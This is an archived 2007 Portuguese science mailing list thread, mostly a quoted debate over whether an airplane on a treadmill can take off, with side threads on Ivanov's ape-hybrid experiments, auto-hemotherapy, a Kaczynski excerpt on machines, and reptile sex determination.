> acanhe, pode descrever o problema e a SUA solução com todos os
> detalhes, ok?
>
> Abraços,
> JC

( apaguei o restante )



SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/04/2007 00:59

Olá José Renato,

Se o enunciado é:

>>>>> Um avião está estacionado em uma pista móvel (como se fosse uma
> esteira rolante). O avião se move em uma direção, e a esteira na
> direção oposta. A esteira tem um sistema de controle que acompanha a
> velocidade do avião e faz com que a esteira tenha exatamente a
> mesma velocidade dele, na direção oposta. A pergunta é: o avião
> vai conseguir decolar?<<<<<

Então a resposta é simples: o avião decolará, pois como o próprio
enunciado afirma o avião e a esteira se moverão em sentidos opostos em
relação ao chão. Se era só isso não sei porque tanta polêmica.

Abraços,
JC




SUBJECT: Re: [ciencialist] Stalin e seu exército de símios
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/04/2007 09:13

O Moureau aí era o Ivanovich :)

http://en.wikipedia.org/wiki/Ilya_Ivanovich_Ivanov_(biologist)
http://theaspidistra.blogspot.com/2006/07/quest-for-chuman-or-manpanzee.html


Gil

Em 21/04/07, Manuel Bulcão <manuelbulcao@uol.com.br> escreveu:
>
> Oi,
>
> Tentei acessar o artigo abaixo mas não consegui, é só para assinantes.
>
> O tema é interessante: o lamarckista Stalin teria tentado, através de
> inseminação artificial, criar uma raça híbrida de humanos e
> chimpanzés. O objetivo dele era criar o soldado ideal: muito mais
> forte que um homem comum, inteligente o suficiente para manejar
> armas, porém não ao ponto de questionar idéias.
>
> Parece discurso de anticomunista empedernido. Entretanto, há indícios
> de que isso ocorreu mesmo.
>
> Se alguém tiver mais informações sobre esse assunto, por favor me
> enviem, em PVT ou para a C-List.
>
> O artigo mencionado é o seguinte: "Beyond Species: Il'ya Ivanov and
> His Experiments on Cross-Breeding Humans with Anthropoid Apes", da
> antropóloga russa Kirill Rossiianov, publicado na Science in Context
> (2002), 15: 277-316 Cambridge University Press.
>
> []s
> Manuel Bulcão
>
>
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SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/04/2007 10:59

JC, onde vc viu escrito no enunciado que "o avião e a esteira se moverão em
sentidos opostos *em
relação ao chão*"?
O que o enunciado afirma é que "Um avião está estacionado em uma pista
móvel".
[]s
JR
................................................

From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 22, 2007 12:59 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Olá José Renato,

Se o enunciado é:

>>>>> Um avião está estacionado em uma pista móvel (como se fosse uma
> esteira rolante). O avião se move em uma direção, e a esteira na
> direção oposta. A esteira tem um sistema de controle que acompanha a
> velocidade do avião e faz com que a esteira tenha exatamente a
> mesma velocidade dele, na direção oposta. A pergunta é: o avião
> vai conseguir decolar?<<<<<

Então a resposta é simples: o avião decolará, pois como o próprio
enunciado afirma o avião e a esteira se moverão em sentidos opostos em
relação ao chão. Se era só isso não sei porque tanta polêmica.

Abraços,
JC



SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/04/2007 12:33

Pelas barbas do califa, oh José Renato, diga-nos qual é a referência (referencial), no enunciado, para as seguintes afirmações:

(a) "Um avião está estacionado";
(b) "numa pista móvel";
(c) "o avião se move em uma direção";
(d) "e a esteira em direção oposta";
(e) "A esteira tem um sistema de controle que acompanha a velocidade do avião";
(f) "e faz com que a esteira tenha exatamente a mesma velocidade dele, na direção oposta.";
(g) "o avião vai conseguir decolar?"

As opções são:

(1) o solo;
(2) a esteira;
(3) o avião;
(4) o ar;
(5) o Sol;
(6) a Lua;
(7) as 'estrelas fixas'.

Pode escolher à vontade, por exemplo: (a)(1); (b)(3) etc.

Não se preocupe com a palavra 'direção' que em alguns casos é 'sentido'.

Por gentileza, essa sua indicação de referência é crucial para a solução do 'enigma do avião' e, com certeza acabará com todas as dúvidas postas.

Como penúltima coisa, diga-nos qual é sua interpretação para a seguinte frase:

"Um avião está estacionado em uma pista móvel".

Opções:

(i) ele está 'parado' sobre a pista móvel, logo, em movimento em relação ao solo.
(ii) ele está parado em relação à pista móvel, mas não em relação ao ar.
(iii) ele está parado em relação à pista móvel e também em relação ao solo.
(iv) ele está parado sobre a pista móvel em relação ao ar, mas a pista está parada em relação ao solo.
(v) o avião, o ar, o solo, estão todos parados, mas a pista não.
(vi) o avião está parado em relação ao solo, está parado em relação à pista, mas a pista é móvel em relação ao solo.
(vii) a referência é a 'pista móvel', assim todos os demais objetos envolvidos na questão estão parados.

Para finalizar nos informe qual opção abaixo melhor se enquadra em sua interpretação:

(!) referência é um ponto; podemos escolher esse ponto à vontade.
(@) referência é um objeto fixo ou móvel, não importa.
(#) referência é um ponto no qual se coloca um observador e anotamos o que ele vê.
(%) referência é o modo arbitrário de se interpretar uma questão.
(^) referência é um sistema de coordenadas abscissas mediante as quais se pode indicar a posição de um ponto.
(&) referência e referencial é a mesma coisa, é um ponto de vista para relatar um acontecimento.
(*) referência é um ponto de indicação para as velocidades.
(-) referência é um ponto de indicação para os movimentos.

agradeço sua predisposição no tema.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 22 de abril de 2007 10:59
Assunto: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


JC, onde vc viu escrito no enunciado que "o avião e a esteira se moverão em
sentidos opostos *em
relação ao chão*"?
O que o enunciado afirma é que "Um avião está estacionado em uma pista
móvel".
[]s
JR
................................................

From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 22, 2007 12:59 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Olá José Renato,

Se o enunciado é:

>>>>> Um avião está estacionado em uma pista móvel (como se fosse uma
> esteira rolante). O avião se move em uma direção, e a esteira na
> direção oposta. A esteira tem um sistema de controle que acompanha a
> velocidade do avião e faz com que a esteira tenha exatamente a
> mesma velocidade dele, na direção oposta. A pergunta é: o avião
> vai conseguir decolar?<<<<<

Então a resposta é simples: o avião decolará, pois como o próprio
enunciado afirma o avião e a esteira se moverão em sentidos opostos em
relação ao chão. Se era só isso não sei porque tanta polêmica.

Abraços,
JC



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SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/04/2007 17:08

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> JC, onde vc viu escrito no enunciado que "o avião e a esteira se
moverão em
> sentidos opostos *em
> relação ao chão*"?

"...A esteira tem um sistema de controle que acompanha a velocidade do
avião e faz com que a esteira tenha exatamente a mesma velocidade
dele, na direção oposta."

A menos que seja feita, explicitamente, a indicação de um referencial
que não seja o chão, para todos os efeitos o chão é sempre tomado como
referencial para problemas que envolvem movimentos próximos à
superfície terrestre.


Abraços,
JC

> O que o enunciado afirma é que "Um avião está estacionado em uma pista
> móvel".
> []s
> JR
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Sunday, April 22, 2007 12:59 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> Olá José Renato,
>
> Se o enunciado é:
>
> >>>>> Um avião está estacionado em uma pista móvel (como se fosse uma
> > esteira rolante). O avião se move em uma direção, e a esteira na
> > direção oposta. A esteira tem um sistema de controle que acompanha a
> > velocidade do avião e faz com que a esteira tenha exatamente a
> > mesma velocidade dele, na direção oposta. A pergunta é: o avião
> > vai conseguir decolar?<<<<<
>
> Então a resposta é simples: o avião decolará, pois como o próprio
> enunciado afirma o avião e a esteira se moverão em sentidos opostos em
> relação ao chão. Se era só isso não sei porque tanta polêmica.
>
> Abraços,
> JC
>




SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/04/2007 17:20

Calma Léo, não estressa. :)))

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Pelas barbas do califa, oh José Renato, ...



SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/04/2007 21:20

Caro, Luiz! É apenas isso tudo que vc quer que eu lhe responda? Afinal, o
que tanto lhe aflige para apelar para as barbas do califa? O que faz vc
elencar tantas perguntas desnecessárias e o que lhe impede de ver vc mesmo
as respostas? A resposta é óbvia. Há o avião e a esteira. No enunciado não
se fala no chão.
Lembra do elevador de Einstein, subindo acelerado no espaço, curvando a
trajetória horizontal de um raio de luz? Também não se fala em chão. A
referência é a cabine do elevador em movimento.

No problema a primeira referência é a própria esteira se deslocando na mesma
velocidade do avião. Numa decolagem normal é o avião que se movimenta sobre
o chão. Nesse caso, é como se o chão também se movimentasse junto com o
avião na mesma velocidade, em sentidos contrários. Lembre do cálculo
infinitesimal para entender melhor como isso ocorre simultaneamente.

Qual é a dificuldade de considerar a esteira como o "chão" onde o avião se
desloca? De considerar um ponto de referência sobre a esteira?

Alguma coisa está travando seu raciocínio para impedir que veja essa
possibilidade, além da já vista e aceita, em que se considera o ponto de
referência para a medida da velocidade do avião, no solo-terra.

Abraços

José Renato
..........................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 22, 2007 12:33 PM
Subject: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
nada


Pelas barbas do califa, oh José Renato, diga-nos qual é a referência
(referencial), no enunciado, para as seguintes afirmações:

(a) "Um avião está estacionado";
(b) "numa pista móvel";
(c) "o avião se move em uma direção";
(d) "e a esteira em direção oposta";
(e) "A esteira tem um sistema de controle que acompanha a velocidade do
avião";
(f) "e faz com que a esteira tenha exatamente a mesma velocidade dele, na
direção oposta.";
(g) "o avião vai conseguir decolar?"

As opções são:

(1) o solo;
(2) a esteira;
(3) o avião;
(4) o ar;
(5) o Sol;
(6) a Lua;
(7) as 'estrelas fixas'.

Pode escolher à vontade, por exemplo: (a)(1); (b)(3) etc.

Não se preocupe com a palavra 'direção' que em alguns casos é 'sentido'.

Por gentileza, essa sua indicação de referência é crucial para a solução do
'enigma do avião' e, com certeza acabará com todas as dúvidas postas.

Como penúltima coisa, diga-nos qual é sua interpretação para a seguinte
frase:

"Um avião está estacionado em uma pista móvel".

Opções:

(i) ele está 'parado' sobre a pista móvel, logo, em movimento em relação ao
solo.
(ii) ele está parado em relação à pista móvel, mas não em relação ao ar.
(iii) ele está parado em relação à pista móvel e também em relação ao solo.
(iv) ele está parado sobre a pista móvel em relação ao ar, mas a pista está
parada em relação ao solo.
(v) o avião, o ar, o solo, estão todos parados, mas a pista não.
(vi) o avião está parado em relação ao solo, está parado em relação à pista,
mas a pista é móvel em relação ao solo.
(vii) a referência é a 'pista móvel', assim todos os demais objetos
envolvidos na questão estão parados.

Para finalizar nos informe qual opção abaixo melhor se enquadra em sua
interpretação:

(!) referência é um ponto; podemos escolher esse ponto à vontade.
(@) referência é um objeto fixo ou móvel, não importa.
(#) referência é um ponto no qual se coloca um observador e anotamos o que
ele vê.
(%) referência é o modo arbitrário de se interpretar uma questão.
(^) referência é um sistema de coordenadas abscissas mediante as quais se
pode indicar a posição de um ponto.
(&) referência e referencial é a mesma coisa, é um ponto de vista para
relatar um acontecimento.
(*) referência é um ponto de indicação para as velocidades.
(-) referência é um ponto de indicação para os movimentos.

agradeço sua predisposição no tema.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 22 de abril de 2007 10:59
Assunto: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
nada


JC, onde vc viu escrito no enunciado que "o avião e a esteira se moverão em
sentidos opostos *em
relação ao chão*"?
O que o enunciado afirma é que "Um avião está estacionado em uma pista
móvel".
[]s
JR
................................................

From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 22, 2007 12:59 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Olá José Renato,

Se o enunciado é:

>>>>> Um avião está estacionado em uma pista móvel (como se fosse uma
> esteira rolante). O avião se move em uma direção, e a esteira na
> direção oposta. A esteira tem um sistema de controle que acompanha a
> velocidade do avião e faz com que a esteira tenha exatamente a
> mesma velocidade dele, na direção oposta. A pergunta é: o avião
> vai conseguir decolar?<<<<<

Então a resposta é simples: o avião decolará, pois como o próprio
enunciado afirma o avião e a esteira se moverão em sentidos opostos em
relação ao chão. Se era só isso não sei porque tanta polêmica.

Abraços,
JC



SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/04/2007 21:36

Caro, José Carlos!

A interpretação de texto é uma das maiores dificuldades que encontramos no
desenvolvimento intelectual dos estudantes brasileiros. É o costume inferir
e pensar açodadamente de acordo com algo parecido ao que já fez ou teve
conhecimento um dia.

É comum problemas entre dois ou mais movimentos, em que não se fala em outro
referencial, apenas na relação entre os movimentos.

No nosso caso, o avião está sobre a esteira... Por que não considerar a
esteira como a pista móvel ou o "chão" móvel onde o avião se desloca,
tentando decolar? Como se houvesse um deslocamento de terra...

[]s

José Renato

ET. [ ...o chão é *sempre* tomado como referencial... ]

Sempre, é muito tempo, professor!
................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 22, 2007 5:08 PM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> JC, onde vc viu escrito no enunciado que "o avião e a esteira se
> moverão em sentidos opostos *em relação ao chão*"?

"...A esteira tem um sistema de controle que acompanha a velocidade do
avião e faz com que a esteira tenha exatamente a mesma velocidade
dele, na direção oposta."

A menos que seja feita, explicitamente, a indicação de um referencial
que não seja o chão, para todos os efeitos o chão é sempre tomado como
referencial para problemas que envolvem movimentos próximos à
superfície terrestre.


Abraços,
JC

> O que o enunciado afirma é que "Um avião está estacionado em uma pista
> móvel".
> []s
> JR
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Sunday, April 22, 2007 12:59 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> Olá José Renato,
>
> Se o enunciado é:
>
> >>>>> Um avião está estacionado em uma pista móvel (como se fosse uma
> > esteira rolante). O avião se move em uma direção, e a esteira na
> > direção oposta. A esteira tem um sistema de controle que acompanha a
> > velocidade do avião e faz com que a esteira tenha exatamente a
> > mesma velocidade dele, na direção oposta. A pergunta é: o avião
> > vai conseguir decolar?<<<<<
>
> Então a resposta é simples: o avião decolará, pois como o próprio
> enunciado afirma o avião e a esteira se moverão em sentidos opostos em
> relação ao chão. Se era só isso não sei porque tanta polêmica.
>
> Abraços,
> JC
>




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SUBJECT: Re: Auto-Hemoterapia
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/04/2007 03:30

G1.COM.BR, 22-04-2007

MÉDICO QUE CRIOU DVD DE AUTO-HEMOTERAPIA PODE PERDER DIPLOMA
Muitas pessoas realizaram o tratamento depois de assistir a um DVD.
Especialistas dizem que há riscos para a saúde.
http://g1.globo.com/Noticias/Ciencia/0,,MUL25500-5603-6433,00.html
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[]s,

Roberto Takata



SUBJECT: THE NEW LUDDITE CHALLENGE
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/04/2007 04:45

First let us postulate that the computer scientists succeed in
developing intelligent machines that can do all things better than
human beings can do them. In that case presumably all work will be
done by vast, highly organized systems of machines and no human
effort will be necessary. Either of two cases might occur. The
machines might be permitted to make all of their own decisions
without human oversight, or else human control over the machines
might be retained.

If the machines are permitted to make all their own decisions, we
can't make any conjectures as to the results, because it is
impossible to guess how such machines might behave. We only point out
that the fate of the human race would be at the mercy of the
machines. It might be argued that the human race would never be
foolish enough to hand over all the power to the machines. But we are
suggesting neither that the human race would voluntarily turn power
over to the machines nor that the machines would willfully seize
power. What we do suggest is that the human race might easily permit
itself to drift into a position of such dependence on the machines
that it would have no practical choice but to accept all of the
machines' decisions. As society and the problems that face it become
more and more complex and machines become more and more intelligent,
people will let machines make more of their decisions for them,
simply because machine-made decisions will bring better results than
man-made ones. Eventually a stage may be reached at which the
decisions necessary to keep the system running will be so complex
that human beings will be incapable of making them intelligently. At
that stage the machines will be in effective control. People won't be
able to just turn the machines off, because they will be so dependent
on them that turning them off would amount to suicide.

On the other hand it is possible that human control over the machines
may be retained. In that case the average man may have control over
certain private machines of his own, such as his car or his personal
computer, but control over large systems of machines will be in the
hands of a tiny elite - just as it is today, but with two
differences. Due to improved techniques the elite will have greater
control over the masses; and because human work will no longer be
necessary the masses will be superfluous, a useless burden on the
system. If the elite is ruthless they may simply decide to
exterminate the mass of humanity. If they are humane they may use
propaganda or other psychological or biological techniques to reduce
the birth rate until the mass of humanity becomes extinct, leaving
the world to the elite. Or, if the elite consists of soft-hearted
liberals, they may decide to play the role of good shepherds to the
rest of the human race. They will see to it that everyone's physical
needs are satisfied, that all children are raised under
psychologically hygienic conditions, that everyone has a wholesome
hobby to keep him busy, and that anyone who may become dissatisfied
undergoes "treatment" to cure his "problem." Of course, life will be
so purposeless that people will have to be biologically or
psychologically engineered either to remove their need for the power
process or make them "sublimate" their drive for power into some
harmless hobby. These engineered human beings may be happy in such a
society, but they will most certainly not be free. They will have
been reduced to the status of domestic animals.

Theodore Kaczynski




SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Conclusão final!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/04/2007 07:35

JC nos informa:

"A resposta é óbvia. Há o avião e a esteira. No enunciado não se fala no chão."

Léo: O enunciado também não fala em 'ar'. Agora sim entendo sua idéia, ufa! Custou!
Trata-se de um avião sobre uma esteira no vácuo sideral. Nada de chão, nada de ar, nada de terra ou Sol ... é tudo tão simples!
Conclusão final minha: O avião não voa!
E, por favor, não vá me transformar esse avião em foguete! O enunciado não fala isso!
Ah! Esqueça o mecanismo que puxa a esteira, é óbvio que ele 'puxa' em relação à esteira.

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 22 de abril de 2007 21:20
Assunto: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Caro, Luiz! É apenas isso tudo que vc quer que eu lhe responda? Afinal, o
que tanto lhe aflige para apelar para as barbas do califa? O que faz vc
elencar tantas perguntas desnecessárias e o que lhe impede de ver vc mesmo
as respostas? A resposta é óbvia. Há o avião e a esteira. No enunciado não
se fala no chão.
Lembra do elevador de Einstein, subindo acelerado no espaço, curvando a
trajetória horizontal de um raio de luz? Também não se fala em chão. A
referência é a cabine do elevador em movimento.

No problema a primeira referência é a própria esteira se deslocando na mesma
velocidade do avião. Numa decolagem normal é o avião que se movimenta sobre
o chão. Nesse caso, é como se o chão também se movimentasse junto com o
avião na mesma velocidade, em sentidos contrários. Lembre do cálculo
infinitesimal para entender melhor como isso ocorre simultaneamente.

Qual é a dificuldade de considerar a esteira como o "chão" onde o avião se
desloca? De considerar um ponto de referência sobre a esteira?

Alguma coisa está travando seu raciocínio para impedir que veja essa
possibilidade, além da já vista e aceita, em que se considera o ponto de
referência para a medida da velocidade do avião, no solo-terra.

Abraços

José Renato
..........................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 22, 2007 12:33 PM
Subject: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
nada


Pelas barbas do califa, oh José Renato, diga-nos qual é a referência
(referencial), no enunciado, para as seguintes afirmações:

(a) "Um avião está estacionado";
(b) "numa pista móvel";
(c) "o avião se move em uma direção";
(d) "e a esteira em direção oposta";
(e) "A esteira tem um sistema de controle que acompanha a velocidade do
avião";
(f) "e faz com que a esteira tenha exatamente a mesma velocidade dele, na
direção oposta.";
(g) "o avião vai conseguir decolar?"

[ ... ]


SUBJECT: Re: [ciencialist] Re: Auto-Hemoterapia
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/04/2007 07:44

rmtakata wrote:
> G1.COM.BR, 22-04-2007
>
> MÉDICO QUE CRIOU DVD DE AUTO-HEMOTERAPIA PODE PERDER DIPLOMA
> Muitas pessoas realizaram o tratamento depois de assistir a um DVD.
> Especialistas dizem que há riscos para a saúde.
> http://g1.globo.com/Noticias/Ciencia/0,,MUL25500-5603-6433,00.html


Muito boa a reportagem de ontem do Fantástico sobre o assunto. Chegou a
dar gosto de ver uma TV brasileira fazendo um serviço desses...
Sobre a notícia:

[...]"Ele pode ser condenado de uma advertência sigilosa"[...]
Sigilosa? Mas hein? Depois de sair numa notícia como seria sigilosa?


SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/04/2007 07:45

Olá José Renato,

Se bem me lembro você já me disse que o enunciado não é seu, logo,
decorre daí que também não sendo meu só nos resta nos basearmos
naquilo que nos baseamos todos os dias: na experiência e na própria
linguagem. Quando falamos em movimentos próximos à superfície da Terra
nós "SEMPRE" subentendemos que o chão é nosso referencial e quando
queremos tomar outro referencial nós SEMPRE explicitamos isso. Como o
autor não explicita nenhum outro referencial, então só nos resta usar
a informação padrão.

Veja que VOCÊ pode modificar o problema e escrever outro enunciado,
pode reescrever o enunciado original conforme queira ou, simplesmente,
pode criar um novo problema. A única coisa que nós não podemos é ficar
divagando sobre uma coisa tão banal quanto o enunciado de um
probleminha ordinário de decolagem de avião. :)

Na minha opinião, depois de 24 anos lidando com enunciados de
problemas de Física, tendo eu mesmo escrito milhares deles e lido
outros muitos milhares, eu não tenho nenhuma dúvida sobre o que estou
falando e sobre onde está o referencial proposto no problema original.
Mas você tem toda a liberdade do mundo para recriar o problema.

E então, como vai ser? Vai recriar o problema a partir da SUA
interpretação dele? Se for, então deixe de dar uma de "João sem braço"
e assuma que o novo enunciado será SEU. Daí por diante você reescreve
o enunciado, define sua tese sobre a decolagem do avião e nós
discutimos as idéias propostas, ok?

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, José Carlos!
>
> A interpretação de texto é uma das maiores dificuldades que
encontramos no
> desenvolvimento intelectual dos estudantes brasileiros. É o costume
inferir
> e pensar açodadamente de acordo com algo parecido ao que já fez ou teve
> conhecimento um dia.
>
> É comum problemas entre dois ou mais movimentos, em que não se fala
em outro
> referencial, apenas na relação entre os movimentos.
>
> No nosso caso, o avião está sobre a esteira... Por que não considerar a
> esteira como a pista móvel ou o "chão" móvel onde o avião se desloca,
> tentando decolar? Como se houvesse um deslocamento de terra...
>
> []s
>
> José Renato
>
> ET. [ ...o chão é *sempre* tomado como referencial... ]
>
> Sempre, é muito tempo, professor!
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Sunday, April 22, 2007 5:08 PM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > JC, onde vc viu escrito no enunciado que "o avião e a esteira se
> > moverão em sentidos opostos *em relação ao chão*"?
>
> "...A esteira tem um sistema de controle que acompanha a velocidade do
> avião e faz com que a esteira tenha exatamente a mesma velocidade
> dele, na direção oposta."
>
> A menos que seja feita, explicitamente, a indicação de um referencial
> que não seja o chão, para todos os efeitos o chão é sempre tomado como
> referencial para problemas que envolvem movimentos próximos à
> superfície terrestre.
>
>
> Abraços,
> JC
>
> > O que o enunciado afirma é que "Um avião está estacionado em uma pista
> > móvel".
> > []s
> > JR
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Sunday, April 22, 2007 12:59 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> >
> >
> > Olá José Renato,
> >
> > Se o enunciado é:
> >
> > >>>>> Um avião está estacionado em uma pista móvel (como se fosse uma
> > > esteira rolante). O avião se move em uma direção, e a esteira na
> > > direção oposta. A esteira tem um sistema de controle que acompanha a
> > > velocidade do avião e faz com que a esteira tenha exatamente a
> > > mesma velocidade dele, na direção oposta. A pergunta é: o avião
> > > vai conseguir decolar?<<<<<
> >
> > Então a resposta é simples: o avião decolará, pois como o próprio
> > enunciado afirma o avião e a esteira se moverão em sentidos opostos em
> > relação ao chão. Se era só isso não sei porque tanta polêmica.
> >
> > Abraços,
> > JC
> >
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> Version: 7.5.463 / Virus Database: 269.5.7/771 - Release Date:
21/4/2007
> 11:56
>




SUBJECT: Re: Calor vence genes e faz macho virar fêmea
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/04/2007 12:55

Olá Jose Renato

Renato: "Olá, Homero! Que bom vê-lo restabelecido, atuando em sua
"programação normal", reforçando o velho entendimento de que a
manchete não é a notícia. "

He, he, he..:-) Na verdade, ainda é a mesma coisa, ainda tentando
explicar erros de interpretação e enganos de avaliação derivados de
falta de informação sobre determinadas questões..:-)

Renato: "A manchete é o chamariz do editor ao leitor. Ela revela em
primeira mão qual é a intenção do editor em veicular a notícia. Nesse
caso, até que não está tão mal assim. "

É possível criar um chamariz de forma honesta ou desonesta. Essa é
desonesta, como muitas. Está mal porque a ciência já sabia que o calor
era parte do processo em determinação de sexo em diversos répteis, já
conhece a ação de genes nessa determinação, e descobriu um acréscimo a
esse conhecimento, não um desafio ou mistério inexplicável.

O que mudou foi o fato do ambiente, o aquecimento global, agora é mais
intenso, o que provoca distúrbios em um processo antigo e bem
adaptado. E é assim que as espécies acabam surgindo, quando um sistema
bem adaptado sofre com modificações inesperadas no ambiente.

Renato: "O redator considerou que o calor fez com que os genes, que
definem normalmente o sexo dessa espécie de lagartos, fossem superados
ou vencidos por um outro grupo de genes menos atuante."

Apenas dentro do texto, não na manchete. É justamente esta a
distorção! É como se fosse uma "disputa" entre o "calor" e os "genes"
e o calor, o "ambiente", venceu os genes.

Dentro de toda disputa que existe entre a questão genes/ambiente, isso
seria uma evidência a favor do ambiente, quando na verdade é um
processo que demonstra a força dos genes, de sua enorme capacidade de
variação e adaptação ao ambiente.

Ovos de jacaré geram fêmeas ou machos de acordo com maior ou menor
calor. Em temporadas normais, nascem machos e fêmeas, sem problemas.
Mas se o ambiente tem maiores períodos de calor intenso, isso vai
produzir um gênero em maior número.

A manchete real poderia ser "a ciência está desvendando mais um
processo biológico dos genes". Mas isso não seria tão impactante,
quanto "desafiar" a ciência, não?

Renato: "Há distorções piores. Exemplos.
Uma menina nascida há cinco meses com anencefalia se desenvolve em
casa sem auxilio de aparelhos e a manchete é: Menina nascida sem
cérebro desafia a medicina."

Que pena vê-lo restabelecido, e voltando as questões e dogmas
religiosos de sempre..:-(

O desafio da menina anencéfala é descobrir que sistemas metabólicos
podem mante-la viva sem o cérebro, sem a mente, de forma a permitir
que essa compreensão ajude outras pessoas. Não há nenhum desafio
quanto a capacidade cognitiva do corpo em questão (é um corpo, não um
individuo), que é nenhuma.

A função desse corpo, no momento, é manter a dor e o sofrimento dos
familiares, sem permitir que passem pelo luto, natural, e sigam em
frente com suas vidas. É consumir recursos, econômicos e psicológicos,
causar enorme estresse e dor, em todos a sua volta, e permitir que
religiosos propaguem seus absurdos sobre uma divindade imaginária
"todo amor" que permite, e estimula, esse tipo de sofrimento.

(Peço desculpas antecipadas ao Brudna e a lista, mas ao trazer de
volta essas questões religiosas, o Renato deu espaço a pelo menos uma
resposta nesse nível.)

Hoje, com a atual tecnologia, a ciência pode manter em laboratório
corpos de macacos sem a cabeça. Se pensa em chamar um macaco sem
cabeça de "macaco", por este estar "vivo", então pode considerar um
bebê anencéfalo, ou uma pessoa sem cabeça, mas com o corpo "vivo", um
ser humano, ler para ele (embora não tenha ouvidos para escutar, ou
cérebro para compreender), conversar com ele, ama-lo, etc.

Renato: " "Geneticista defende que célula-tronco "é vida, mas não é um
ser humano"."

Uma manchete clara, e bem colocada, sobre a visão da ciência sobre uma
célula tronco. Eu concordo com ela, e já discutimos aqui
exaustivamente sobre isso, sem que você pudesse apresentar qualquer
